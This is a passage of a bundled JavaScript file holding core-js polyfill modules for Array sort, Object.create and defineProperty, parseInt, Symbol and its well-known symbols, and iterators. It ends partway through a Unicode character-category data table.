require('../internals/array-sort'); -var arrayMethodIsStrict = require('../internals/array-method-is-strict'); -var FF = require('../internals/engine-ff-version'); -var IE_OR_EDGE = require('../internals/engine-is-ie-or-edge'); -var V8 = require('../internals/engine-v8-version'); -var WEBKIT = require('../internals/engine-webkit-version'); - -var test = []; -var un$Sort = uncurryThis(test.sort); -var push = uncurryThis(test.push); - -// IE8- -var FAILS_ON_UNDEFINED = fails(function () { - test.sort(undefined); -}); -// V8 bug -var FAILS_ON_NULL = fails(function () { - test.sort(null); -}); -// Old WebKit -var STRICT_METHOD = arrayMethodIsStrict('sort'); - -var STABLE_SORT = !fails(function () { - // feature detection can be too slow, so check engines versions - if (V8) return V8 < 70; - if (FF && FF > 3) return; - if (IE_OR_EDGE) return true; - if (WEBKIT) return WEBKIT < 603; - - var result = ''; - var code, chr, value, index; - - // generate an array with more 512 elements (Chakra and old V8 fails only in this case) - for (code = 65; code < 76; code++) { - chr = String.fromCharCode(code); - - switch (code) { - case 66: case 69: case 70: case 72: value = 3; break; - case 68: case 71: value = 4; break; - default: value = 2; - } - - for (index = 0; index < 47; index++) { - test.push({ k: chr + index, v: value }); - } - } - - test.sort(function (a, b) { return b.v - a.v; }); - - for (index = 0; index < test.length; index++) { - chr = test[index].k.charAt(0); - if (result.charAt(result.length - 1) !== chr) result += chr; - } - - return result !== 'DGBEFHACIJK'; -}); - -var FORCED = FAILS_ON_UNDEFINED || !FAILS_ON_NULL || !STRICT_METHOD || !STABLE_SORT; - -var getSortCompare = function (comparefn) { - return function (x, y) { - if (y === undefined) return -1; - if (x === undefined) return 1; - if (comparefn !== undefined) return +comparefn(x, y) || 0; - return toString(x) > toString(y) ? 1 : -1; - }; -}; - -// `Array.prototype.sort` method -// https://tc39.es/ecma262/#sec-array.prototype.sort -$({ target: 'Array', proto: true, forced: FORCED }, { - sort: function sort(comparefn) { - if (comparefn !== undefined) aCallable(comparefn); - - var array = toObject(this); - - if (STABLE_SORT) return comparefn === undefined ? un$Sort(array) : un$Sort(array, comparefn); - - var items = []; - var arrayLength = lengthOfArrayLike(array); - var itemsLength, index; - - for (index = 0; index < arrayLength; index++) { - if (index in array) push(items, array[index]); - } - - internalSort(items, getSortCompare(comparefn)); - - itemsLength = items.length; - index = 0; - - while (index < itemsLength) array[index] = items[index++]; - while (index < arrayLength) delete array[index++]; - - return array; - } -}); - -},{"../internals/a-callable":57,"../internals/array-method-is-strict":66,"../internals/array-sort":69,"../internals/engine-ff-version":86,"../internals/engine-is-ie-or-edge":87,"../internals/engine-v8-version":89,"../internals/engine-webkit-version":90,"../internals/export":93,"../internals/fails":94,"../internals/function-uncurry-this":99,"../internals/length-of-array-like":123,"../internals/to-object":157,"../internals/to-string":161}],176:[function(require,module,exports){ -var global = require('../internals/global'); -var setToStringTag = require('../internals/set-to-string-tag'); - -// JSON[@@toStringTag] property -// https://tc39.es/ecma262/#sec-json-@@tostringtag -setToStringTag(global.JSON, 'JSON', true); - -},{"../internals/global":104,"../internals/set-to-string-tag":147}],177:[function(require,module,exports){ -// empty - -},{}],178:[function(require,module,exports){ -var $ = require('../internals/export'); -var DESCRIPTORS = require('../internals/descriptors'); -var create = require('../internals/object-create'); - -// `Object.create` method -// https://tc39.es/ecma262/#sec-object.create -$({ target: 'Object', stat: true, sham: !DESCRIPTORS }, { - create: create -}); - -},{"../internals/descriptors":83,"../internals/export":93,"../internals/object-create":127}],179:[function(require,module,exports){ -var $ = require('../internals/export'); -var DESCRIPTORS = require('../internals/descriptors'); -var objectDefinePropertyModile = require('../internals/object-define-property'); - -// `Object.defineProperty` method -// https://tc39.es/ecma262/#sec-object.defineproperty -$({ target: 'Object', stat: true, forced: !DESCRIPTORS, sham: !DESCRIPTORS }, { - defineProperty: objectDefinePropertyModile.f -}); - -},{"../internals/descriptors":83,"../internals/export":93,"../internals/object-define-property":129}],180:[function(require,module,exports){ -arguments[4][177][0].apply(exports,arguments) -},{"dup":177}],181:[function(require,module,exports){ -var $ = require('../internals/export'); -var $parseInt = require('../internals/number-parse-int'); - -// `parseInt` method -// https://tc39.es/ecma262/#sec-parseint-string-radix -$({ global: true, forced: parseInt != $parseInt }, { - parseInt: $parseInt -}); - -},{"../internals/export":93,"../internals/number-parse-int":126}],182:[function(require,module,exports){ -arguments[4][177][0].apply(exports,arguments) -},{"dup":177}],183:[function(require,module,exports){ -arguments[4][177][0].apply(exports,arguments) -},{"dup":177}],184:[function(require,module,exports){ -'use strict'; -var charAt = require('../internals/string-multibyte').charAt; -var toString = require('../internals/to-string'); -var InternalStateModule = require('../internals/internal-state'); -var defineIterator = require('../internals/define-iterator'); - -var STRING_ITERATOR = 'String Iterator'; -var setInternalState = InternalStateModule.set; -var getInternalState = InternalStateModule.getterFor(STRING_ITERATOR); - -// `String.prototype[@@iterator]` method -// https://tc39.es/ecma262/#sec-string.prototype-@@iterator -defineIterator(String, 'String', function (iterated) { - setInternalState(this, { - type: STRING_ITERATOR, - string: toString(iterated), - index: 0 - }); -// `%StringIteratorPrototype%.next` method -// https://tc39.es/ecma262/#sec-%stringiteratorprototype%.next -}, function next() { - var state = getInternalState(this); - var string = state.string; - var index = state.index; - var point; - if (index >= string.length) return { value: undefined, done: true }; - point = charAt(string, index); - state.index += point.length; - return { value: point, done: false }; -}); - -},{"../internals/define-iterator":81,"../internals/internal-state":111,"../internals/string-multibyte":151,"../internals/to-string":161}],185:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.asyncIterator` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.asynciterator -defineWellKnownSymbol('asyncIterator'); - -},{"../internals/define-well-known-symbol":82}],186:[function(require,module,exports){ -arguments[4][177][0].apply(exports,arguments) -},{"dup":177}],187:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.hasInstance` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.hasinstance -defineWellKnownSymbol('hasInstance'); - -},{"../internals/define-well-known-symbol":82}],188:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.isConcatSpreadable` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.isconcatspreadable -defineWellKnownSymbol('isConcatSpreadable'); - -},{"../internals/define-well-known-symbol":82}],189:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.iterator` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.iterator -defineWellKnownSymbol('iterator'); - -},{"../internals/define-well-known-symbol":82}],190:[function(require,module,exports){ -'use strict'; -var $ = require('../internals/export'); -var global = require('../internals/global'); -var getBuiltIn = require('../internals/get-built-in'); -var apply = require('../internals/function-apply'); -var call = require('../internals/function-call'); -var uncurryThis = require('../internals/function-uncurry-this'); -var IS_PURE = require('../internals/is-pure'); -var DESCRIPTORS = require('../internals/descriptors'); -var NATIVE_SYMBOL = require('../internals/native-symbol'); -var fails = require('../internals/fails'); -var hasOwn = require('../internals/has-own-property'); -var isArray = require('../internals/is-array'); -var isCallable = require('../internals/is-callable'); -var isObject = require('../internals/is-object'); -var isPrototypeOf = require('../internals/object-is-prototype-of'); -var isSymbol = require('../internals/is-symbol'); -var anObject = require('../internals/an-object'); -var toObject = require('../internals/to-object'); -var toIndexedObject = require('../internals/to-indexed-object'); -var toPropertyKey = require('../internals/to-property-key'); -var $toString = require('../internals/to-string'); -var createPropertyDescriptor = require('../internals/create-property-descriptor'); -var nativeObjectCreate = require('../internals/object-create'); -var objectKeys = require('../internals/object-keys'); -var getOwnPropertyNamesModule = require('../internals/object-get-own-property-names'); -var getOwnPropertyNamesExternal = require('../internals/object-get-own-property-names-external'); -var getOwnPropertySymbolsModule = require('../internals/object-get-own-property-symbols'); -var getOwnPropertyDescriptorModule = require('../internals/object-get-own-property-descriptor'); -var definePropertyModule = require('../internals/object-define-property'); -var propertyIsEnumerableModule = require('../internals/object-property-is-enumerable'); -var arraySlice = require('../internals/array-slice'); -var redefine = require('../internals/redefine'); -var shared = require('../internals/shared'); -var sharedKey = require('../internals/shared-key'); -var hiddenKeys = require('../internals/hidden-keys'); -var uid = require('../internals/uid'); -var wellKnownSymbol = require('../internals/well-known-symbol'); -var wrappedWellKnownSymbolModule = require('../internals/well-known-symbol-wrapped'); -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); -var setToStringTag = require('../internals/set-to-string-tag'); -var InternalStateModule = require('../internals/internal-state'); -var $forEach = require('../internals/array-iteration').forEach; - -var HIDDEN = sharedKey('hidden'); -var SYMBOL = 'Symbol'; -var PROTOTYPE = 'prototype'; -var TO_PRIMITIVE = wellKnownSymbol('toPrimitive'); - -var setInternalState = InternalStateModule.set; -var getInternalState = InternalStateModule.getterFor(SYMBOL); - -var ObjectPrototype = Object[PROTOTYPE]; -var $Symbol = global.Symbol; -var SymbolPrototype = $Symbol && $Symbol[PROTOTYPE]; -var TypeError = global.TypeError; -var QObject = global.QObject; -var $stringify = getBuiltIn('JSON', 'stringify'); -var nativeGetOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f; -var nativeDefineProperty = definePropertyModule.f; -var nativeGetOwnPropertyNames = getOwnPropertyNamesExternal.f; -var nativePropertyIsEnumerable = propertyIsEnumerableModule.f; -var push = uncurryThis([].push); - -var AllSymbols = shared('symbols'); -var ObjectPrototypeSymbols = shared('op-symbols'); -var StringToSymbolRegistry = shared('string-to-symbol-registry'); -var SymbolToStringRegistry = shared('symbol-to-string-registry'); -var WellKnownSymbolsStore = shared('wks'); - -// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173 -var USE_SETTER = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild; - -// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687 -var setSymbolDescriptor = DESCRIPTORS && fails(function () { - return nativeObjectCreate(nativeDefineProperty({}, 'a', { - get: function () { return nativeDefineProperty(this, 'a', { value: 7 }).a; } - })).a != 7; -}) ? function (O, P, Attributes) { - var ObjectPrototypeDescriptor = nativeGetOwnPropertyDescriptor(ObjectPrototype, P); - if (ObjectPrototypeDescriptor) delete ObjectPrototype[P]; - nativeDefineProperty(O, P, Attributes); - if (ObjectPrototypeDescriptor && O !== ObjectPrototype) { - nativeDefineProperty(ObjectPrototype, P, ObjectPrototypeDescriptor); - } -} : nativeDefineProperty; - -var wrap = function (tag, description) { - var symbol = AllSymbols[tag] = nativeObjectCreate(SymbolPrototype); - setInternalState(symbol, { - type: SYMBOL, - tag: tag, - description: description - }); - if (!DESCRIPTORS) symbol.description = description; - return symbol; -}; - -var $defineProperty = function defineProperty(O, P, Attributes) { - if (O === ObjectPrototype) $defineProperty(ObjectPrototypeSymbols, P, Attributes); - anObject(O); - var key = toPropertyKey(P); - anObject(Attributes); - if (hasOwn(AllSymbols, key)) { - if (!Attributes.enumerable) { - if (!hasOwn(O, HIDDEN)) nativeDefineProperty(O, HIDDEN, createPropertyDescriptor(1, {})); - O[HIDDEN][key] = true; - } else { - if (hasOwn(O, HIDDEN) && O[HIDDEN][key]) O[HIDDEN][key] = false; - Attributes = nativeObjectCreate(Attributes, { enumerable: createPropertyDescriptor(0, false) }); - } return setSymbolDescriptor(O, key, Attributes); - } return nativeDefineProperty(O, key, Attributes); -}; - -var $defineProperties = function defineProperties(O, Properties) { - anObject(O); - var properties = toIndexedObject(Properties); - var keys = objectKeys(properties).concat($getOwnPropertySymbols(properties)); - $forEach(keys, function (key) { - if (!DESCRIPTORS || call($propertyIsEnumerable, properties, key)) $defineProperty(O, key, properties[key]); - }); - return O; -}; - -var $create = function create(O, Properties) { - return Properties === undefined ? nativeObjectCreate(O) : $defineProperties(nativeObjectCreate(O), Properties); -}; - -var $propertyIsEnumerable = function propertyIsEnumerable(V) { - var P = toPropertyKey(V); - var enumerable = call(nativePropertyIsEnumerable, this, P); - if (this === ObjectPrototype && hasOwn(AllSymbols, P) && !hasOwn(ObjectPrototypeSymbols, P)) return false; - return enumerable || !hasOwn(this, P) || !hasOwn(AllSymbols, P) || hasOwn(this, HIDDEN) && this[HIDDEN][P] - ? enumerable : true; -}; - -var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(O, P) { - var it = toIndexedObject(O); - var key = toPropertyKey(P); - if (it === ObjectPrototype && hasOwn(AllSymbols, key) && !hasOwn(ObjectPrototypeSymbols, key)) return; - var descriptor = nativeGetOwnPropertyDescriptor(it, key); - if (descriptor && hasOwn(AllSymbols, key) && !(hasOwn(it, HIDDEN) && it[HIDDEN][key])) { - descriptor.enumerable = true; - } - return descriptor; -}; - -var $getOwnPropertyNames = function getOwnPropertyNames(O) { - var names = nativeGetOwnPropertyNames(toIndexedObject(O)); - var result = []; - $forEach(names, function (key) { - if (!hasOwn(AllSymbols, key) && !hasOwn(hiddenKeys, key)) push(result, key); - }); - return result; -}; - -var $getOwnPropertySymbols = function getOwnPropertySymbols(O) { - var IS_OBJECT_PROTOTYPE = O === ObjectPrototype; - var names = nativeGetOwnPropertyNames(IS_OBJECT_PROTOTYPE ? ObjectPrototypeSymbols : toIndexedObject(O)); - var result = []; - $forEach(names, function (key) { - if (hasOwn(AllSymbols, key) && (!IS_OBJECT_PROTOTYPE || hasOwn(ObjectPrototype, key))) { - push(result, AllSymbols[key]); - } - }); - return result; -}; - -// `Symbol` constructor -// https://tc39.es/ecma262/#sec-symbol-constructor -if (!NATIVE_SYMBOL) { - $Symbol = function Symbol() { - if (isPrototypeOf(SymbolPrototype, this)) throw TypeError('Symbol is not a constructor'); - var description = !arguments.length || arguments[0] === undefined ? undefined : $toString(arguments[0]); - var tag = uid(description); - var setter = function (value) { - if (this === ObjectPrototype) call(setter, ObjectPrototypeSymbols, value); - if (hasOwn(this, HIDDEN) && hasOwn(this[HIDDEN], tag)) this[HIDDEN][tag] = false; - setSymbolDescriptor(this, tag, createPropertyDescriptor(1, value)); - }; - if (DESCRIPTORS && USE_SETTER) setSymbolDescriptor(ObjectPrototype, tag, { configurable: true, set: setter }); - return wrap(tag, description); - }; - - SymbolPrototype = $Symbol[PROTOTYPE]; - - redefine(SymbolPrototype, 'toString', function toString() { - return getInternalState(this).tag; - }); - - redefine($Symbol, 'withoutSetter', function (description) { - return wrap(uid(description), description); - }); - - propertyIsEnumerableModule.f = $propertyIsEnumerable; - definePropertyModule.f = $defineProperty; - getOwnPropertyDescriptorModule.f = $getOwnPropertyDescriptor; - getOwnPropertyNamesModule.f = getOwnPropertyNamesExternal.f = $getOwnPropertyNames; - getOwnPropertySymbolsModule.f = $getOwnPropertySymbols; - - wrappedWellKnownSymbolModule.f = function (name) { - return wrap(wellKnownSymbol(name), name); - }; - - if (DESCRIPTORS) { - // https://github.com/tc39/proposal-Symbol-description - nativeDefineProperty(SymbolPrototype, 'description', { - configurable: true, - get: function description() { - return getInternalState(this).description; - } - }); - if (!IS_PURE) { - redefine(ObjectPrototype, 'propertyIsEnumerable', $propertyIsEnumerable, { unsafe: true }); - } - } -} - -$({ global: true, wrap: true, forced: !NATIVE_SYMBOL, sham: !NATIVE_SYMBOL }, { - Symbol: $Symbol -}); - -$forEach(objectKeys(WellKnownSymbolsStore), function (name) { - defineWellKnownSymbol(name); -}); - -$({ target: SYMBOL, stat: true, forced: !NATIVE_SYMBOL }, { - // `Symbol.for` method - // https://tc39.es/ecma262/#sec-symbol.for - 'for': function (key) { - var string = $toString(key); - if (hasOwn(StringToSymbolRegistry, string)) return StringToSymbolRegistry[string]; - var symbol = $Symbol(string); - StringToSymbolRegistry[string] = symbol; - SymbolToStringRegistry[symbol] = string; - return symbol; - }, - // `Symbol.keyFor` method - // https://tc39.es/ecma262/#sec-symbol.keyfor - keyFor: function keyFor(sym) { - if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol'); - if (hasOwn(SymbolToStringRegistry, sym)) return SymbolToStringRegistry[sym]; - }, - useSetter: function () { USE_SETTER = true; }, - useSimple: function () { USE_SETTER = false; } -}); - -$({ target: 'Object', stat: true, forced: !NATIVE_SYMBOL, sham: !DESCRIPTORS }, { - // `Object.create` method - // https://tc39.es/ecma262/#sec-object.create - create: $create, - // `Object.defineProperty` method - // https://tc39.es/ecma262/#sec-object.defineproperty - defineProperty: $defineProperty, - // `Object.defineProperties` method - // https://tc39.es/ecma262/#sec-object.defineproperties - defineProperties: $defineProperties, - // `Object.getOwnPropertyDescriptor` method - // https://tc39.es/ecma262/#sec-object.getownpropertydescriptors - getOwnPropertyDescriptor: $getOwnPropertyDescriptor -}); - -$({ target: 'Object', stat: true, forced: !NATIVE_SYMBOL }, { - // `Object.getOwnPropertyNames` method - // https://tc39.es/ecma262/#sec-object.getownpropertynames - getOwnPropertyNames: $getOwnPropertyNames, - // `Object.getOwnPropertySymbols` method - // https://tc39.es/ecma262/#sec-object.getownpropertysymbols - getOwnPropertySymbols: $getOwnPropertySymbols -}); - -// Chrome 38 and 39 `Object.getOwnPropertySymbols` fails on primitives -// https://bugs.chromium.org/p/v8/issues/detail?id=3443 -$({ target: 'Object', stat: true, forced: fails(function () { getOwnPropertySymbolsModule.f(1); }) }, { - getOwnPropertySymbols: function getOwnPropertySymbols(it) { - return getOwnPropertySymbolsModule.f(toObject(it)); - } -}); - -// `JSON.stringify` method behavior with symbols -// https://tc39.es/ecma262/#sec-json.stringify -if ($stringify) { - var FORCED_JSON_STRINGIFY = !NATIVE_SYMBOL || fails(function () { - var symbol = $Symbol(); - // MS Edge converts symbol values to JSON as {} - return $stringify([symbol]) != '[null]' - // WebKit converts symbol values to JSON as null - || $stringify({ a: symbol }) != '{}' - // V8 throws on boxed symbols - || $stringify(Object(symbol)) != '{}'; - }); - - $({ target: 'JSON', stat: true, forced: FORCED_JSON_STRINGIFY }, { - // eslint-disable-next-line no-unused-vars -- required for `.length` - stringify: function stringify(it, replacer, space) { - var args = arraySlice(arguments); - var $replacer = replacer; - if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined - if (!isArray(replacer)) replacer = function (key, value) { - if (isCallable($replacer)) value = call($replacer, this, key, value); - if (!isSymbol(value)) return value; - }; - args[1] = replacer; - return apply($stringify, null, args); - } - }); -} - -// `Symbol.prototype[@@toPrimitive]` method -// https://tc39.es/ecma262/#sec-symbol.prototype-@@toprimitive -if (!SymbolPrototype[TO_PRIMITIVE]) { - var valueOf = SymbolPrototype.valueOf; - // eslint-disable-next-line no-unused-vars -- required for .length - redefine(SymbolPrototype, TO_PRIMITIVE, function (hint) { - // TODO: improve hint logic - return call(valueOf, this); - }); -} -// `Symbol.prototype[@@toStringTag]` property -// https://tc39.es/ecma262/#sec-symbol.prototype-@@tostringtag -setToStringTag($Symbol, SYMBOL); - -hiddenKeys[HIDDEN] = true; - -},{"../internals/an-object":60,"../internals/array-iteration":64,"../internals/array-slice":68,"../internals/create-property-descriptor":79,"../internals/define-well-known-symbol":82,"../internals/descriptors":83,"../internals/export":93,"../internals/fails":94,"../internals/function-apply":95,"../internals/function-call":97,"../internals/function-uncurry-this":99,"../internals/get-built-in":100,"../internals/global":104,"../internals/has-own-property":105,"../internals/hidden-keys":106,"../internals/internal-state":111,"../internals/is-array":113,"../internals/is-callable":114,"../internals/is-object":117,"../internals/is-pure":118,"../internals/is-symbol":119,"../internals/native-symbol":124,"../internals/object-create":127,"../internals/object-define-property":129,"../internals/object-get-own-property-descriptor":130,"../internals/object-get-own-property-names":132,"../internals/object-get-own-property-names-external":131,"../internals/object-get-own-property-symbols":133,"../internals/object-is-prototype-of":135,"../internals/object-keys":137,"../internals/object-property-is-enumerable":138,"../internals/redefine":143,"../internals/set-to-string-tag":147,"../internals/shared":150,"../internals/shared-key":148,"../internals/to-indexed-object":154,"../internals/to-object":157,"../internals/to-property-key":159,"../internals/to-string":161,"../internals/uid":163,"../internals/well-known-symbol":166,"../internals/well-known-symbol-wrapped":165}],191:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.matchAll` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.matchall -defineWellKnownSymbol('matchAll'); - -},{"../internals/define-well-known-symbol":82}],192:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.match` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.match -defineWellKnownSymbol('match'); - -},{"../internals/define-well-known-symbol":82}],193:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.replace` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.replace -defineWellKnownSymbol('replace'); - -},{"../internals/define-well-known-symbol":82}],194:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.search` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.search -defineWellKnownSymbol('search'); - -},{"../internals/define-well-known-symbol":82}],195:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.species` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.species -defineWellKnownSymbol('species'); - -},{"../internals/define-well-known-symbol":82}],196:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.split` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.split -defineWellKnownSymbol('split'); - -},{"../internals/define-well-known-symbol":82}],197:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.toPrimitive` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.toprimitive -defineWellKnownSymbol('toPrimitive'); - -},{"../internals/define-well-known-symbol":82}],198:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.toStringTag` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.tostringtag -defineWellKnownSymbol('toStringTag'); - -},{"../internals/define-well-known-symbol":82}],199:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.unscopables` well-known symbol -// https://tc39.es/ecma262/#sec-symbol.unscopables -defineWellKnownSymbol('unscopables'); - -},{"../internals/define-well-known-symbol":82}],200:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.asyncDispose` well-known symbol -// https://github.com/tc39/proposal-using-statement -defineWellKnownSymbol('asyncDispose'); - -},{"../internals/define-well-known-symbol":82}],201:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.dispose` well-known symbol -// https://github.com/tc39/proposal-using-statement -defineWellKnownSymbol('dispose'); - -},{"../internals/define-well-known-symbol":82}],202:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.matcher` well-known symbol -// https://github.com/tc39/proposal-pattern-matching -defineWellKnownSymbol('matcher'); - -},{"../internals/define-well-known-symbol":82}],203:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.metadata` well-known symbol -// https://github.com/tc39/proposal-decorators -defineWellKnownSymbol('metadata'); - -},{"../internals/define-well-known-symbol":82}],204:[function(require,module,exports){ -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.observable` well-known symbol -// https://github.com/tc39/proposal-observable -defineWellKnownSymbol('observable'); - -},{"../internals/define-well-known-symbol":82}],205:[function(require,module,exports){ -// TODO: remove from `core-js@4` -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -// `Symbol.patternMatch` well-known symbol -// https://github.com/tc39/proposal-pattern-matching -defineWellKnownSymbol('patternMatch'); - -},{"../internals/define-well-known-symbol":82}],206:[function(require,module,exports){ -// TODO: remove from `core-js@4` -var defineWellKnownSymbol = require('../internals/define-well-known-symbol'); - -defineWellKnownSymbol('replaceAll'); - -},{"../internals/define-well-known-symbol":82}],207:[function(require,module,exports){ -require('../modules/es.array.iterator'); -var DOMIterables = require('../internals/dom-iterables'); -var global = require('../internals/global'); -var classof = require('../internals/classof'); -var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); -var Iterators = require('../internals/iterators'); -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var TO_STRING_TAG = wellKnownSymbol('toStringTag'); - -for (var COLLECTION_NAME in DOMIterables) { - var Collection = global[COLLECTION_NAME]; - var CollectionPrototype = Collection && Collection.prototype; - if (CollectionPrototype && classof(CollectionPrototype) !== TO_STRING_TAG) { - createNonEnumerableProperty(CollectionPrototype, TO_STRING_TAG, COLLECTION_NAME); - } - Iterators[COLLECTION_NAME] = Iterators.Array; -} - -},{"../internals/classof":75,"../internals/create-non-enumerable-property":78,"../internals/dom-iterables":85,"../internals/global":104,"../internals/iterators":122,"../internals/well-known-symbol":166,"../modules/es.array.iterator":173}],208:[function(require,module,exports){ -var parent = require('../../es/array/from'); - -module.exports = parent; - -},{"../../es/array/from":34}],209:[function(require,module,exports){ -var parent = require('../../es/array/is-array'); - -module.exports = parent; - -},{"../../es/array/is-array":35}],210:[function(require,module,exports){ -var parent = require('../../../es/array/virtual/for-each'); - -module.exports = parent; - -},{"../../../es/array/virtual/for-each":37}],211:[function(require,module,exports){ -var parent = require('../es/get-iterator-method'); -require('../modules/web.dom-collections.iterator'); - -module.exports = parent; - -},{"../es/get-iterator-method":41,"../modules/web.dom-collections.iterator":207}],212:[function(require,module,exports){ -var parent = require('../../es/instance/concat'); - -module.exports = parent; - -},{"../../es/instance/concat":42}],213:[function(require,module,exports){ -var parent = require('../../es/instance/flags'); - -module.exports = parent; - -},{"../../es/instance/flags":43}],214:[function(require,module,exports){ -require('../../modules/web.dom-collections.iterator'); -var classof = require('../../internals/classof'); -var hasOwn = require('../../internals/has-own-property'); -var isPrototypeOf = require('../../internals/object-is-prototype-of'); -var method = require('../array/virtual/for-each'); - -var ArrayPrototype = Array.prototype; - -var DOMIterables = { - DOMTokenList: true, - NodeList: true -}; - -module.exports = function (it) { - var own = it.forEach; - return it === ArrayPrototype || (isPrototypeOf(ArrayPrototype, it) && own === ArrayPrototype.forEach) - || hasOwn(DOMIterables, classof(it)) ? method : own; -}; - -},{"../../internals/classof":75,"../../internals/has-own-property":105,"../../internals/object-is-prototype-of":135,"../../modules/web.dom-collections.iterator":207,"../array/virtual/for-each":210}],215:[function(require,module,exports){ -var parent = require('../../es/instance/index-of'); - -module.exports = parent; - -},{"../../es/instance/index-of":44}],216:[function(require,module,exports){ -var parent = require('../../es/instance/slice'); - -module.exports = parent; - -},{"../../es/instance/slice":45}],217:[function(require,module,exports){ -var parent = require('../../es/instance/sort'); - -module.exports = parent; - -},{"../../es/instance/sort":46}],218:[function(require,module,exports){ -var parent = require('../../es/object/create'); - -module.exports = parent; - -},{"../../es/object/create":47}],219:[function(require,module,exports){ -var parent = require('../../es/object/define-property'); - -module.exports = parent; - -},{"../../es/object/define-property":48}],220:[function(require,module,exports){ -var parent = require('../es/parse-int'); - -module.exports = parent; - -},{"../es/parse-int":49}],221:[function(require,module,exports){ -var parent = require('../../es/symbol'); -require('../../modules/web.dom-collections.iterator'); - -module.exports = parent; - -},{"../../es/symbol":51,"../../modules/web.dom-collections.iterator":207}],222:[function(require,module,exports){ -module.exports = [ - { - 'name': 'C', - 'alias': 'Other', - 'isBmpLast': true, - 'bmp': '\0-\x1F\x7F-\x9F\xAD\u0378\u0379\u0380-\u0383\u038B\u038D\u03A2\u0530\u0557\u0558\u058B\u058C\u0590\u05C8-\u05CF\u05EB-\u05EE\u05F5-\u0605\u061C\u06DD\u070E\u070F\u074B\u074C\u07B2-\u07BF\u07FB\u07FC\u082E\u082F\u083F\u085C\u085D\u085F\u086B-\u086F\u088F-\u0897\u08E2\u0984\u098D\u098E\u0991\u0992\u09A9\u09B1\u09B3-\u09B5\u09BA\u09BB\u09C5\u09C6\u09C9\u09CA\u09CF-\u09D6\u09D8-\u09DB\u09DE\u09E4\u09E5\u09FF\u0A00\u0A04\u0A0B-\u0A0E\u0A11\u0A12\u0A29\u0A31\u0A34\u0A37\u0A3A\u0A3B\u0A3D\u0A43-\u0A46\u0A49\u0A4A\u0A4E-\u0A50\u0A52-\u0A58\u0A5D\u0A5F-\u0A65\u0A77-\u0A80\u0A84\u0A8E\u0A92\u0AA9\u0AB1\u0AB4\u0ABA\u0ABB\u0AC6\u0ACA\u0ACE\u0ACF\u0AD1-\u0ADF\u0AE4\u0AE5\u0AF2-\u0AF8\u0B00\u0B04\u0B0D\u0B0E\u0B11\u0B12\u0B29\u0B31\u0B34\u0B3A\u0B3B\u0B45\u0B46\u0B49\u0B4A\u0B4E-\u0B54\u0B58-\u0B5B\u0B5E\u0B64\u0B65\u0B78-\u0B81\u0B84\u0B8B-\u0B8D\u0B91\u0B96-\u0B98\u0B9B\u0B9D\u0BA0-\u0BA2\u0BA5-\u0BA7\u0BAB-\u0BAD\u0BBA-\u0BBD\u0BC3-\u0BC5\u0BC9\u0BCE\u0BCF\u0BD1-\u0BD6\u0BD8-\u0BE5\u0BFB-\u0BFF\u0C0D\u0C11\u0C29\u0C3A\u0C3B\u0C45\u0C49\u0C4E-\u0C54\u0C57\u0C5B\u0C5C\u0C5E\u0C5F\u0C64\u0C65\u0C70-\u0C76\u0C8D\u0C91\u0CA9\u0CB4\u0CBA\u0CBB\u0CC5\u0CC9\u0CCE-\u0CD4\u0CD7-\u0CDC\u0CDF\u0CE4\u0CE5\u0CF0\u0CF3-\u0CFF\u0D0D\u0D11\u0D45\u0D49\u0D50-\u0D53\u0D64\u0D65\u0D80\u0D84\u0D97-\u0D99\u0DB2\u0DBC\u0DBE\u0DBF\u0DC7-\u0DC9\u0DCB-\u0DCE\u0DD5\u0DD7\u0DE0-\u0DE5\u0DF0\u0DF1\u0DF5-\u0E00\u0E3B-\u0E